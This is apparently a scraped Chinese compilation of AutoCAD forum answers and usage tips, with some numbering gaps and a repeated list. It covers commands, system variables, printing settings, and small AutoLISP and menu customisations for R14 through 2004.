4.如何等分几何形?如何将一个矩形内部等分为任意N×M个小矩形,或者将圆等分为N份,或者等分任意角。
divide命令只是对线段进行等分,并不能等分其它几何图形啊。直接的等分几何图形是没有这样的功能。但是当你会对矩形的两条边分别做M和N等分后,还不可以得到对矩形的等分吗?
5.请问用什么命令可以迅速取消以前的命令,就是undo拉,一次次输入“u“很麻烦,是否有一次回到上次保存命令时候的操作呢?
其实CAD中早就有了。是UNDO命令,不能用“U”。请看UNDO命令后的提示:
命令: undo
输入要放弃的操作数目或 [自动(A)/控制(C)/开始(BE)/结束(E)/标记(M)/后退(B)]
可以使用命令行的 UNDO 选项一次放弃多个操作。“开始”和“结束”将若干操作定义为一组,“标记”和“返回”与放弃所有操作配合使用返回到预先确定的点。
如果使用“后退”或“数目”放弃多个操作,AutoCAD 将在必要时重生成或重画图形。这将在 UNDO 结束时发生,因此,输入 UNDO 5 将重生成一次,而输入 u u u u u 将重生成五次。
UNDO 对一些命令和系统变量无效,包括用以打开、关闭或保存窗口或图形、显示信息、更改图形显示、重生成图形和以不同格式输出图形的命令及系统变量。
6.hatch填充时很久找不到范围怎么办?大家在用hatc
h填充时常常遇到很久找不到范围的情况,尤其是dwg文件本身比较大的时候,我常用的方法是用layiso命令让欲填充的范围线所在的层孤立,再用hatch填充就可以迅速找到填充范围。
hatch填充主要线要封闭,你先用layiso命令让欲填充的范围线所在的层孤立是个好办法.其实好多人都没怎么在意填充图案的边界确定有一个边界集设置的问题(在高级栏下)。所谓边界集,这是在怎样的对象集合中找边界,默认的设置是“当前视口”,所以图上对象很多时就会很慢。这种情况下你可以新建一个边界集,让系统在这个范围内来找边界就会快好多。当然这个边界集应该是比较容易获得的才好
7.如何实现图层上下叠放次序切换?
AutoCAD中没有图层的叠放次序,只有对象的前置与后置。
1)前后是相对的, 所以只是在你有特别需要时(如Hatch对象所在层置后,轴线和柱,墙线所在层置前以显示外轮廓),才需要这样作.
2)一般我们只是对某几个特定层上的这些对象这样操作,因此,你可以按层选择对象再对这些选择的对象进行置前置后的操作.
3)如果你非要按你自定义的层顺序来置前置后对象,有一个程序可以做到 : LayerManager pro
8.14与2002的跟踪方式?比如14的绘图跟踪功能,好象在2002里面变了,虽然也是跟踪,但怎么也用不习惯,不知道各位专家在使用过程中有没有这个困惑
2000以后的对象追踪比R14的跟踪强多了——方便!还可与极轴配合使用,这是R14的跟踪所不能的。
似乎你的理解不对哦?2002中选点时键入”tk“ 可以一直追踪下去,和R14完全相同。
实际上200x配合PolarSnap和AutoTracing几乎不许要再直接键入”tk“来追踪了,且可以追踪非常多的特定点(e2002)
9.在2002中做了一个表格,表格中诸多数据,字母,数字。如何让他们象在word2000做到对齐呢?
有个简单的办法,每列数据使用多行文本(MTEXT),对齐方式可以通过MTEXT窗口的特性来修改。
有许多技巧,自己多多体会。(lmlmss)
10.如何将附图中的红色字改成灰色(简便方法)?
用修改块属性的方法(battman)。这个命令是2002和2004中的,R14的命令在“修改”菜单下,对象--属性---全局。
11.既然有分解(explode)命令,哪反过来用什么命令?不用”块“命令
使用“GROUP”命令可以做类似的工作,重在学习。那要看你分解的是什么对象了。如果是多段线,分解后可以合并。“GROUP”命令可以完成。
12.为什么我的CAD2000堆叠按钮不可用
堆叠的使用,一是要有堆叠符号(#、^、/),二是要把堆叠的内容选中后才可以操作。
13.如何画三维的多义线?我感觉CAD200X好象没有这样的功能?(仅限于用工具条)
在它默认的工具条上是没有。你可以在“绘图”菜单中用,也可键盘输入3dpoly。经常用的话也可自定义工具条。
对不起sz-gg,但我还是要谢谢你的热心!我的问题提错了。我是想试试沿三维多义线/或三维样条曲线拉伸一个面型:比如正三角。因为沿三维样条我反复位伸不成,所以就想:如果能画出光滑的三维多义线,不知是否能拉伸?所以说:我要画的
是光滑的三维多义线。
这件事情是做不成的。三维多段线只能是直线段。当然,如果线段的长度足够短,也就接近光滑。所以有一些小程序就是用这样的方法来做三维拉伸。但是,象你说的三角形截面拉伸会出现扭曲。
14.大家知道怎么将L画的线变成PL的?
用pedit命令,编辑多段线,其中有合并(J)选项。
15.在模型空间里画的是虚线,打印出来也是虚线,可是怎么到了布局里打印出来就变成实线了呢?在布局里怎么打印虚线?
估计你曾经改变了线形比例,同时是采用的“比例到图纸空间”的方法(这是CAD的默认方法)。在线形设置对话框中把“比例到图纸空间”前的钩去掉试试
16.在纸样空间里的线型比例问题,在模型空间里设定好的线形,到纸样空间里却无法显示!
这有两种情况,如果仅要求在图纸空间看着线型是合适的,而不考虑在模型空间的显示,那么我想你把线型比例改回去就可以了。如果你想在图纸空间和模型空间都看着合适,那么你在设置线型比例时把“比例到图纸空间”前的那个钩去掉就可以了。
psltscale——0,即可。模型空间中画图最好是1:1,否则编辑起来很麻烦!
17.为什么使用了打印样式表后,打印彩色线条时还是虚线?要怎样设置才对?
有两种方法设置打印,如果是颜色相关打印,不能改变图层管理器中的打印样式设置。另一种是命名打印样式。
18.别人用ACAD2000中文版画了140多张图纸烤贝给我,作为修改竣工图。该图纸有相当一部分的图线是用PLine多段线加粗的,我用ACAD2000中文版和ACAD2002中文版在打印时,PLine多段线却不能显示粗线,用Line直线(包括其它弧线)在图层上定义的粗线却能显示粗线,我设置了多种打印方式却依然如故。有何办法
当pline线设置成宽度不为0时,打印时就按这个线宽打印。如果这个多段线的宽度太小,就出不了宽度效果。(如以毫米为单位绘图,设置多段线宽度为10,当你用1:100的比例打印时,就是0.1毫米。)所以多段线的宽度设置要考虑打印比例才行。而宽度是0时,就可按对象特性来设置(与其他对象一样)。
19.我用AUTOCAD2000做图,用PLINE的粗线,线宽为.25,在R14下打印,结果都是细线,粗线没有打出来,后来把粗线线宽改为.3还是不行.最后改为.35结果打印出来正常,这是为什么?把每张图纸都改变线宽太费事,R14有没有设置一次解决此问题?
本来打印就不应该用这样的方法来设置,而是用打印笔宽设置。
R14下面是根据颜色来定义线的宽度,那个线宽不受比例的影响,其值的单位是毫米。线宽在打印对话框中定。
用pl线通常在建模的时候采用,作平面用有颜色的单线就可以了,打印输出时,如果用的比例不同,使用pl线就要根据比例调整宽度。你的图恐怕就是线宽与出图比例不相符。还是建议用颜色线条笔宽控制打印。
对于彩喷打印机,如果按颜色设定笔宽就打印出彩色线条了。把笔号改成7号,就是打印黑色了。
20.以前我运行命令solprof时,视口里可以显示多个轮廓。可是这两天我发现我的CAD2004在运行同样的命令时,却不能显示轮廓了。但可以选择、可以打印。请问各为DX不知道是不是有什么
参数被我无意修改了,还是别的原因?
这样的做法等于把轮廓投影了四次。系统采用了在新视口中冻结该图层(PV)。这样的活可以换个做法。你可以直接把模型在模型空间复制并调整好方向后进入布局再做设置轮廓的操作。这样四个对象就可以一次投影了。
21.面域、块、实体是什么概念? 能否把几个实体合成一个实体, 然后选择的时候一次性选择这个合并的实体.
面域是用闭合的外形或环创建的二维区域.块是可组合起来形成单个对象(或称为块定义)的对象集合(一张图在另一张图中一般可作为块).实体有两个概念,其一是构成图形的有形的基本元素,其二是指三维物体.对于三维实体,可以使用”布尔运算“使之联合,对于广义的实体,可以使用”块“或”组(group)“进行”联合“.
22.介绍一下自定义AutoCAD2000的图案填充文件
填充的图案并无相对应的图案文件,定义图案形状的文件是SUPPORT目录下的 ACAD.AT 和ACADISO.AT,图案都是通过定义不同的线型及相应角度而组成的,可以参照ACAD.AT和ACADISO.AT编制存成PAT文件定义填充图案,但不能是任意图案,比如不能存在圆弧。
23.浅析一下DXF文件格式
DXF-Drawing Exchange File(图形交换文件), 这是一种ASCII文本文件,它包含对应的DWG文件的全部信息,不是ASCII码形式,可读性差,但用它形成图形速度快.不同类型的计算机(如PC及其兼容机与SUN工作站具体不同的CPU用总线)哪怕是用同一版本的文件,其DWG文件也是不可交换的. 为了克服这一缺点,AutoCAD提供了DXF类型文件,其内部为ASCII码,这样不同类型的计算机可通过交换DXF文件来达到交换图形的目的,由于DXF文件可读性好,用户可方便地对它进行修改,编程,达到从外部图形进行编辑,修改的目的。
24.请问如何输入2.5维绘图中的极坐标(角度)
这样的说法不太确切,你是立体制图(因为有些书中把以原来的二维制图方法加上标高与厚度这种立体制图称为二维半)还是画轴测图(CAD中有一个等轴测图功能)?
是画轴测图
那就不是二维半。画轴测图中如果用坐标输入,那么三个正交方向的角度分别是30(210)度、150(330)度、和90(270)度。如@100<30。> prn(yxc)
可以建一plot.bat(批处理)文件,内容如下(zhynt)
copy 1% lpt1/b
在文间关联中将plt文件设定为用plot.bat打开。
以后只要双击plt文件就能直接打印
48.如何实现使用“局部”打开功能?
R14格式不能局部打开,2000+就可以(yxc)
你的图中没有选择图形文件,所以局部打开不能激活,需要局部打开的时候可以考虑转存成R15格式的。
49.怎样在图纸空间里把模型空间的图翻转过来,是要在图纸空间看见的是坐标横向是Y轴,竖向为X轴,我见过别人的图,搞不懂怎么做的。
UCS命令,其中的三点方式依次为新原点、新X轴正方向上的点和Y轴正方向的点。将新X轴正方向上的点定在新原点的垂直上方,Y轴正方向的点定在右边就可以了。
50.OLE是某词的缩略语吗?是的话,是什么词?
OLE(Object Linking and Embedding对象链接和嵌入英文全称首字母的缩写)通过一定的方式将分布式的对象和数据
整合到一个应用程序中,能够被现在所在的应用程序处理,也能被最初建立它的应用程序处理。
1.在AutoCAD中有时有交叉点标记在鼠标点击处产生,用BLIPMODE命令,在提示行下输入OFF可消除它。
2.有的用户使用AutoCAD时会发现命令中的对话框会变成提示行,如打印命令,控制它的是系统变量CMDDIA,关掉它就行了。
3.椭圆命令生成的椭圆是以多义线还是以椭圆为实体是由系统变量PELLIPSE决定,当其为1时,生成的椭圆是PLINE。
4.CMDECHO变量决定了命令行回显是否产生,其在程序执行中应设为0。
5.DIMSCALE决定了尺寸标注的比例,其值为整数,缺省为1,在图形有了一定比例缩放时应最好将其改为缩放比例。
6.BREAK将实体两点截开,在选取第二点时如用“@”来回答,可由第一点将实体分开。7.CAD的较高版本中提供了形位公差标注,但圆度及同轴度中的圆不够圆,其实,AutoCAD中常见符号定义都在AutoCAD安装目录下SUPPORT子目录下的gdt.shp文件中,其中2号和4号字符定义了圆形的形状,圆的弧度竟为127°,但不太好改正之(如改为90°更不好看)。
8.空心汉字字形如使用AutoCAD R14中的BONUS功能(一定要完全安装AutoCAD,或自定义安装时选了它),有一个TXTEXP命令,可将文本炸为线,对做立体字十分有用。
9.AutoCAD R14的BONUS中有一个ARCTEXT命令,可实现弧形文本输出,使用方法为先选圆弧,再输入文本内容,按OK。
10.BONUS中还有一个有用的命令,即MPEDIT,用它将多个线一齐修改为多义线,再改它的线宽。
11.image命令在R14中代替了R13中的BMPIN、PCXIN之类命令,它将位图嵌入文件中,只用来显示,如炸开就成了空框架,如何使PCXIN等命令重现?请将R13安装目录下的RASTERIN.EXE拷入R14下,用appload将其装入,然后就可以将位图导入(可编缉,可炸开)了。
12.BREAK命令用来打断实体,用户也可以一点断开实体,用法是在第一点选择后,输入“@”。常用一条线一段为点划线,另一段为实线时。
13.AutoCAD R14中提供了大量的命令缩写,许多R13中无缩写的命令也有了缩写,如:A:ARC, B:Bmake, C:Circle, Z:zoo,可大量使用
之,使用后会发现比鼠标点取快(尤其在1s输5个字符的速度下)。AutoCAD R14大量扩充了简化命令,不仅增加了以首字母简化
的命令(这里不列出),而且增加了用前两个字母简化的命令,常用的如:array、copy、dist、donut、dtext、filter、mirror、pline、rotate、trim、scale、snap、style、units等,更加提高了用键盘输入命令的速度,对熟悉键盘的朋友来说简直是如虎添翼。
14.AutoCAD R14的命令缩写也可用在R13,方法是将AutoCAD R14下Support子目录下的ACAD.pgp拷贝至AutoCAD R13的Support子目录下。
15.AutoCAD中ACAD.pgp文件十分重要,它记录命令缩写内容,用户可自定义它们,格式如下:<命令缩写> *命令名称。也可定义系统命命令缩写>
令,AutoCAD R14提供了sh命令,可执行DOS命令,但在Windows下作用不大。
16.AutoCAD R14中用NOTEPAD、EDIT、DIR、DEL等系统命令,笔者认为其中NOTEPAD对自定义CAD用途较大,但使用起
来会发现屏幕一闪(进了DOS),又返回,十分让人不愉快,让我们来编一个小程序,取名为note.lsp:
(defun c:notepad()
(startapp ”notepad“)
)
先将ACAD.pgp中的NOTEPAD命令定义行删除,重入CAD后,再将此程序用命令:(load ”note“)装入,下一次用NOTEPAD命令会有更好效果,最好将(load ”note“)加入Support子目录下的ACADR14.lsp中。
17.AutoCAD R14中打印线宽可由颜色设定,这样机械制图中的各种线型不同、线宽不同的线条可放入不同的层,在层中定义了线型和颜色,而在打印设置中设定线型与颜色的关系,效果良好。
18.AutoCAD R14的Support中ACAD.dwt为缺省模板,要好好加工它,把常用的层、块、标注类型定义好,再加上标准图框,可省去大量重复工作。
19.AutoCAD中有不少外部Lisp命令文件,可以直接观察它们,如果学习开发Lisp应用程序,注意:R14可是最后一版Lisp文件内容公开的AUTOCAD,在CAD2000中Lisp文件内容是加密的(笔者正在研究解密程序)。
20.AutoCAD二次开发工具很多,Lisp早就有了,R11提供了ADS(Acad Develop system),R12中提供了ADS对实模式下C编译器(如BC,MS C)的支持,R13提供ARX(Acad Runtime eXtend),R14提供了VB Automation,这个Automation使VB编写CAD程序成为可能,渴望CAD编程的人有了一个最好的选择,不必学习ADS、ARX、Object ARX,和AutoLisp,一起加入AutoCAD编程的世界。
21.用户自定义的Lisp文件一定要自动装入AutoCAD,这样就需要在acadr14.lsp中加入用户Lisp文件的装入语句,acadr14.lsp(早期版本为acad.lsp),好似DOS的Autoexec.bat,一定要好好利用,在其中如定义了名为S::STARTUP()的函数可自动运行它(给CAD加个启用画面如何,可用STARTUP加startapp函数,也可加登录密码)。
22.将AutoCAD中的图形插入WORD中,有时会发现圆变成了正多边形,用一下VIEWRES命令,将它设得大一些,可改变图形质量。
23.形如?30H11( )的标注如何去标注呢,请在文本内容中输入“%%c30{H11(}{H0.7x;S+0.1^-0.2;})”,可以实现,如嫌太麻烦,就编个程序来简化操作。
24.AutoCAD中文件可当作块插入其他文件中,但这样一来过多的块使文件过于庞大,用PURGE来清除它们吧,一次清一层,一定要多用几次呀!
25.AutoCAD R14的帮助文件内容十分丰富,由很多本“书”组成,一层层打开,多看它们用处是很大的,其中包括了CAD的各方面,比任何CAD大全还全,你是否想您的帮助加入其中,请修改acad.cnt,加入自己帮助的链接。
26.在CAD中可按规定编定.ahp的CAD帮助文件,在R14下用ahp2hlp.exe将其转变为.hpj的文件和 .rtf的文件,再用HelpWorkshop工具(在VC5中有)将其项目打开,编译为.hlp文件。
27.在AutoCAD中有一些DOS下的exe文件在R14中仍有用途,用Slidelib.exe可将幻灯片作库,mc.exe可实现菜单的编译。
28.在作完零件图进行组装时,可将零件图块插入后焊开,再用group成组后组装,这时用ddselect命令控制组选取处于何种状态,取消组选取时可将组内成员删除、剪切、修改,要移
动零件时再打开组状态。
29.在AutoCAD中的菜单源文件为.mnu文件,将其修改可将自己的命令加入菜单中,再用menu命令装入,可参加AutoCAD帮助了解菜单文件格式。图标工具条中加入自己的命令相对简单,可在工具条上点右键,在toolbar对话中,点new按钮,输入工具条后,一个新工具条产生,再选Customize按钮,选定custom,将空按钮拖入工具条中,再在空按钮上按右键,这样就可定义自己的按钮图标和命令。
30.AutoCAD的状态行也可自定义,用DIESEL语言可以访问它,最简单的方法用modemacro命令,后输入$(getvar,clayer),以后当前层名就显示在状态行上,用户化可谓无孔不入吧!
31.AutoCAD的图形格式为.dwg,也可导出为.bmp及.wmf或.eps、.dxf、.3ds,如果用render命令可存为.pcx、.tga、.tif格式,AutoCAD还可将文件直接存为这几种格式,要为系统装一个名为“Raster file export”的打印机,用它打印到文件,ACAD2000还可将文件存为JPG格式。
32.render 进行着色时,render无关闭按钮,用户可用:(arxunload ”render“),因为它是ARX文件扩展的功能。
33.dimzin系统变量最好要设定为8,这时尺寸标注中的缺省值不会带几个尾零,用户直接接受缺省值十分方便快捷。
34.如遇到快捷键失效,如^o失去作用,变为正交模式切换的情况,请用menu将当前使用菜单的.mnu菜单源文件重装一遍即可。
35.在多行文字(mtext)命令中使用Word97编辑文本。 Mtext多行文字编辑器是AutoCAD R14中的新增功能,它提供了Windows文字处理软件所具备的界面和工作方式,它甚至可以利用Word97的强大功能编辑文本,这一功能可以用如下方法实现:
打开“Tools”菜单选“Preferences” 命令,“Preferences”对话框弹出后,打开“Files/Text Editor,Dictionary,and Font File
Name/Text Editor Application/Internal”,双击“Internal”,出现“Select a file”对话框,接着找到“Winword.exe”应用程序文件,击“打开”钮,最后单击“OK”返回。完成以上设置后,用户如再使用mtext命令时系统将自动调用我们熟悉的Word97应用程序,为AutoCAD中的文本锦上添花。
36.巧用工具按钮自定义。AutoCAD中有许多lsp文件能为我们提供非常实用的命令,如chtext.lsp就是一个很好的文字修改命令,尤其适
用于大批文字的修改,但在使用这样的命令之前必须先把lsp文件载入。一般你可以通过选取“Tools”菜单中“Load Application ...”选项,再利用对话框打开AutoCAD R14/Support下的Chtext.lsp文件,然后击 “Load”钮,或者也可以直接在命令行中键入“(load “chtext”)” 以达到载入的目的,如此做总有些繁琐。下面我们用自定义工具按钮的方式解决这个问题,右击任意工具钮,弹出“Toolbars”对话框,击“Customize...”钮,在“Categories:”中选“Custom”项,将出现的空按钮拖到工具条中目标位置,
击“Close”钮返回,接着右击空按钮,出现“Button Properties”对话框,在“Name:”栏中为命令钮命名,“Help:”栏中你可写入或不写入内容,然后在“Macro:”中键入“(load “chtext”)cht”,至于“Button Icon”,用户可选系统提供的图标,也可以点“Edit...”自行绘制或者直接调用已有的bmp文件,最后点“Apply”钮并依次关闭对话框返回。这样你自己的工作按钮就做成了。由于在后面增加了“cht”(注意:前面要有空格),所以你只要按下工具钮便可以直接去选择要编辑的目标文件。
37.“Stretch”命令也是一个常用命令,但输入命令后,系统总要提示“select object to stretch by crossing_window or
crossing_polygon...”,要求你再输入一个“C”后才能用鼠标去选择目标。为了使操作简化,用户只需将系统提供的工具按钮做些小小的修改即可。右击任意工具按钮弹出“Toolbars”对话框,再右击“stretch”工具钮弹出“Button Proporties”对话框,在“Macro:”框中的“^c^c_stretch”后键入空格和“C”。以后你再点击处理后的工具钮就可以直接选择目标进行操作。
38.AutoCAD R14用户通常均采用系统给出的缺省格式存盘,这种格式存盘的缺点是文件所占空间大,不能用低版本的应用程序(如:
AutoCAD R12、AutoCAD R13)打开,为避免磁盘空间的浪费,你可以在“Save Drawing As”对话框的“保存类型”中选“AutoCAD R12
/LT2 Drawing”格式存盘。例如:同一dwg文件用两种方式存盘,它们的大小分别是87KB、58KB。可见差别还是很可观的。而且后者文件可以在R12、R13版本的应用程序中打开。这种方法对配置较低的用户尤为实用。
39.有时在打开dwg文件时,系统弹出“AutoCAD Message”对话框提示“Drawing file is not valid”,告诉用户文件不能打开。这种情况下你可以先退出打开操作,然后打开“File”菜单,选“Drawing Utilities/Recover”命令,或者在命令行直接用键盘输入“recover”,接着在“Select File” 对话框中输入要恢复的文件,确认后系统开始执行恢复文件操作。
40.汉化菜单。将support目录下的acad.mnu文件复制为chinese.mnu。用写字板打开chinese.mnu。仔细观察会发现其中有许多类似“***POP”的条目,每一条目定义了一列下拉菜单。将引号中的英文命令名称改为中文,存盘退出。再在R14中输入“menu”命令,将chinese.mnu菜单文件装入,下拉菜单就变成了中文。还可以再装入acad.mnu 文件将菜单还原。
41.R14默认的“命令取消”键是“ESC”键,如果你已经习惯了R12的“Ctrl+C”怎么办呢?点击菜单Tools preferencescompatibility priority for accelerator keysautoCAD classic,然后就
可以用“Ctrl+C”取消命令了,同时“ESC”键仍然有效。
42.trim命令中提示选取要剪切的图形时,不支持常用的window和crossing选取方式。当要剪切多条线段时,要选取多次才能完成。这时可以使用fence选取方式。当trim命令提示选择要剪除的图形时,输入“f”,然后在屏幕上画出一条虚线,回车,这时被该虚线接触到的图形全部被剪切掉。
43.单击“Object Propertys”工具条上的“Make objects' layer current”按钮,然后在作图区选择要去的图层上的任一图形,当前层立刻变换到选取的图形所在层。
44.用R14打开R12的文件时,即使正确地选择了汉字字形文件,还是会出现汉字乱码,原因是R14与R12采用的代码页不同。可到AutoDesk公司主页下载代码页转换工具wnewcp。运行wnewcp 后,首先选中“R11/R12”复选框,再单击“Browse”按钮,选择要转换的文件或目录,然后选择新的代码页,ANSI936或GB2312均可,单击“Start Conversion”即开始转换。转换后,在R14中就能正确地显示汉字。
Dimaso尺寸标注为炸开后
CTRL+右键临时捕捉
AutoCAD应用技巧精选 1. 执行编辑命令,提示选择目标时,用矩形框方式选择,从左向右拖动光标,为“窗口Windows”方式,如果从右向左拖动光标,则为“交*Cross”方式。
2. 相对坐标输入点时,在正交状态时,一般输入为:@x,0或@0,y
(例如输入相对坐标“@100,0”表示下一点相对上一点X方向增加100,又如输入相对坐标“@0,50”表示下一点相对上一点Y方向增加50),以上两种情况下,可以直接输入100或50即可实现相同的目的,从而节省输入时间。
3. 在AutoCAD中有时有交*点标记在鼠标点击处产生,用BLIPMODE命令,在提示行下输入OFF可消除它。
4. 有的用户使用AutoCAD时会发现命令中的对话框会变成提示行,如打印命令,控制它的是系统变量CMDDIA,关掉它就行了。
5. 椭圆命令生成的椭圆是以多义线还是以椭圆为实体的是由系统变量PELLIPSE决定,当其为1时,生成的椭圆是PLINE。
6. CMDECHO变量决定了命令行回显是否产生,其在程序执行中应设为0。
7. DIMSCALE决定了尺寸标注的比例,其值为整数,缺省为1,在图形有了一定比例缩放时应最好将其改成为缩放比例。
8.CAD的较高版本中提供了形位公差标注,但圆度及同轴度中的圆不够圆,其实,AutoCAD中常见符号定义都在AutoCAD安装目录下SUPPORT子目录下的gdt.shp文件中,其中2号和4号字符定义了圆形的形状,圆的弧度竟为127°,但不太好改正之(如改为90°更不好看)。
9.空心汉字字形如使用AutoCAD R14中的BONUS功能(一定要完全安装AutoCAD,或自定义安装时选了它),有一个TXTEXP命令,可将文本炸为线,对做立体字十分有用。
10. AutoCAD R14的BONUS中有一个ARCTEXT命令,可实现弧形文本输出,使用方法为先选圆弧,再输入文本内容,按OK。
11. BONUS中有一个有用的命令,即MPEDIT,用它将多个线一齐修改为多义线,再改它的线宽。
12. Image命令在R14中代替了R13中的BMPI
N、PCXIN之类的命令,它将位图嵌入文件中,只用来显示,如炸开就成了空框架,如何使用PCXIN等命令重现?请将R13安装目录下的RASTERIN.EXE拷入R14下,用appload将其装入,然后就可以将位图导入(可编缉,可炸开)了。
13. BREAK命令用来打断实体,用户也可以一点断开实体,用法是在第一点选择后,输入“@”。常用一条线一段为点划线,另一段为实线时。
14. AutoCAD R14中提供了大量的命令缩写,许多R13中无缩写的命令也有了缩写,下面提供了CAD中的单字符缩写:A:ARC,B:Bmake,C:Circle,D:ddim,E:erase,F:fillet,G:group,H:bhatch,I:ddinsert,L:line,M:move,O:offset,P:pan,R:redraw,S:stretch,T:mtext,U:undo,V:ddview,W:Wblock,X;explode,Z:zoo,可大量使用之,使用后会发现比鼠标点取快(尤其在ls输5个字符的速度下)。AutoCAD
R14大量扩充了简化命令,不仅增加了以首字母简化的命令(这里不列出),而用增加了用前两个字母简化的命令,常的如:array 、copy、 dist、
donut 、dtext 、filter 、mirror、 pline 、rotate 、trim、 scale 、snap 、style、
units等,更加提高了用键盘输入命令的速度,对熟悉键盘的朋友来说简直是如虎添翼。
15. AutoCAD R14命令的缩写也可用在R13,方法是将AutoCAD
R14下的Support子目录下的ACAD.pgp拷贝至AutoCAD R13中的Support子目录下。
16. AutoCAD 中ACAD.pgp文件十分重要,它记录命令缩写内容,用户可自定义它们,格式如下:<命令缩写> *命令名称。也可定义系统命令,AutoCAD R14提供了sh命令,可执行DOS命令,但在Windows作用下不大。命令缩写>
17. AutoCAD R14中用NOTEPAD、EDIT、DIR、DEL等系统命令,笔者认为其中NOTEPAD对自定义CAD用途较大,但使用起来会发现屏幕一闪(进了DOS),又返回,十分让人不愉快,让我们来编一个小程序,取名为note.lsp:
(defun c:notepad()
(startapp″notepad″)
)
先将ACAD.pgp中的NOTEPAD命令定义行删除,重入CAD后,再将此程序命令:(load″note″)装入,下一次用NOTEPAD命令会有更好效果,最好将(load″note″)加入Support子目录下的ACADR14.lsp中。
18. AutoCAD R14中打印线宽可由颜色设定,这样机械制图中的各种线型不同、、线宽不同的线条可放入不同的层,在层中定义了线型的颜色,而在打印设置中设定线型与颜色的关系,效果良好。
19. AutoCAD R14的Support中ACAD.dwt为缺省模板,要好好加工它,把常用的层、块、标注类型定义好,再加上标准图框,可省去大量重复工作。
20. AutoCAD中有不少外部Lisp命令文件,可以直接观察它们,如果学习开发Lisp应用程序,注意;R14可是最后一版Lisp文件内容公开的AUTOCAD,在CAD2000中Lisp文件内容是加密的(笔者正在研究解密程序)。
21. AutoCAD二次开发工具很多,Lisp早就有了,R11提供了ADS(Acad Develop system),R12中提供了ADS对实模式下C编译器(如BC,MS C)的支持,R13提供ARX(Acad Runtime eXtend),R14提供了 VB Automation,这个Automation使
VB编写CAD程序成为可能,渴望CAD编程的人有了一个最好的选择,不必学习ADS、ARX、Object ARX和AutoLisp,一起加入AutoCAD编程的世界。
22. 用户自定义的Lisp文件一定要自动装入AutoCAD,这样就需要在acadr14.lsp中加入用户Lisp文件的装入语句,acadr14.lsp(早期版本为acad14.lsp)好似DOS的Autoexec.bat,一定要好好利用,在其中如定义了名为S::STARTUP()的函数可自动运行它。(给CAD加个启用画面如何,可用STARTUP加startapp函数,也可加登录密码)。
23. 将AutoCAD中的图形插入WORD中,有时会发现圆变成了正多边形,用一下VIEWRES命令,将它设得大一些,可改变图形质量。
24. 形如φ30H11(+0.1,-0.2)的标注如何去标呢,请在文本内容中输入%%c30{H11(}{H0.7X;S+0.1^-0.2;})”,可以实现,如嫌太麻烦,就编程序来简化操作。
25. AutoCAD中文件可当作块插入其他文件中,但这样一来过多的块使文件过于庞大,用PURGE来清除它们吧,一次清一层,一定要多用几次呀!
26. AutoCAD R14的帮助文件内容十分丰富,由很多本“书”组成,一层层打开,多看它们用处是很大的,其中包括了CAD的各方面,比任何CAD大全还全,你是否想您的帮助加入其中,请修改acad.cnt,加入自己帮助的链接。
27. 在CAD中可按规定编定.ahp的CAD帮助文件,在R14下用ahp2hlp.exe将其转变为.hpj的文件和.rtf的文件,再用HelpWorkshop工具(在VC5中有)将其项目打开,编译为.hlp文件。
28. 在AutoCAD中有一些DOS下的exe文件在R14中仍有用途,用Slidelib.exe可将幻灯片作库,mc.exe可实现菜单的编译。
29. 在作完零件图进行组装时,可将零件图块插入后焊开,再用group成组后组装,这时用ddselect命令控制组选取处于何种状态,取消组选时再打开组状态。
30. 在AutoCAD中的菜单源文件为.mnu文件,将其修改可将自己的命令加入菜单中,再用menu命令装入,加参加AutoCAD帮助了解菜单文件格式。图标工具条中加入自己的命令相对简单,可在工具条上点右键,在toolbar对话中,点new
按钮,输入工具条后,一个新工具条产生,再选Customize按钮,选定custom,将空按钮拖入工具条中,再在空按钮上按右键,这样就可定义自己的按钮图标和命令。
31. AutoCAD的状态行也可处定义,用DIESEL语言可以访问它,最简单的方法用modemacro命令,后输入$(getvar,clayer),以后当前层名就显示在准确无误行上,用户化可谓无孔不入吧!
32. AutoCAD的图形格式为.dwg,也可导出为.bmp及.wmf或.eps、.dxf、.3ds,是如果用render命令可存为.pcx、.tga、.tif格式,AutoCAD还可将文件直接存为这几种格式,要为系统装一个名为“Raster
file export”的打印机,用它打印到文件,ACAD2000还可将文件存为JPG格式。
33. render进行着色时,render无关闭按钮,用户采用:(arxunload"render"),因为它是ARX文件扩展的功能。
34. dimzin系统变量最好要设定为8,这时尺寸标注中的缺省值不会带几个尾零,用户直接接受缺省值十分方便快捷。
35. 如遇到快捷失效,如^0失去作用变为正交模式切换的情况,请用menu将当前使用
菜单.mnu菜单源文件重装一遍即可。
36. 在多行文字(mtext)命令中Word97编辑文本。Mtext多行文字编辑器是AuotCAD
R14中的新增功能,它提供了Windows文字处理软件所具备的界面和工作方式,它甚至可以利用Word97的强大功能编辑文本,这一功能可以用如下方法实现:
打开“Tools”菜单选“Preferences”命令,“Preferences”对话框弹出后,打开“Files/Text
Editor,Dictionary,and Font File Name/Text Editor
Application/Iinternal”,双击“Internal”,出现“Select a
file”对话框,接着找到“Winword.exe”应用程序文件,击“打开”钮,最后单击“OK”返回。完成以上设置后,用户如再使用mtext命令时系统将自动调用我们熟悉的Word97应用程序,为AotoCAD中的文本锦上添花。
37. 巧用工具按钮自定义AotoCAD中有许多Lsp文件能为我们提供非常实用的命令,如chtext.lsp就是一个很好的文字修改命令,尤其适用于大批文字的修改,但在使用这样的命令之前必须先把Lsp文件载入。一般你可以通过选取“Tools”菜单中“Load
Application…”选项,再利用对话框打开AutoCAD R14/Support
下的Chtext.lsp文件,然后击“Load”钮,或者也可以直接在命令行中键入“(load“chtext”)”以达到载入的目的,如此做总有些繁琐。下面我们用自定义工具按钮的方式解决这个问题,右击任意工具钮,弹出“Toolbars”对话框,击“Customize…”钮,在“Categories:”中选“Custom”项,将出现的空按钮拖到工具条中目标位置,击“Close”钮返回,接着右击空按钮,出现“Button
Properties”对话框,在“Name:”,栏中为命令钮命名,“Help:”栏中你可以写入或不写入内容,然后在“Macr”中键入“(Load
“chtext)cht”,至于“Button
Icon”,用户可选系统提供的图标,也可以点“Edit…”自行绘制或者直接调用已有的bmp文件,最后点“Apply”钮并依次关闭对话框返回。这样你自己的工作按钮就做成了。由于在后面增加了“cht”(注意:前面要有空格),所以你只要按工具钮便可以直接去选择要编辑的目标文件。
38. “Stretch”命令也是一个常用命令,但输入命令后,系统总要提示“select object to stretch by
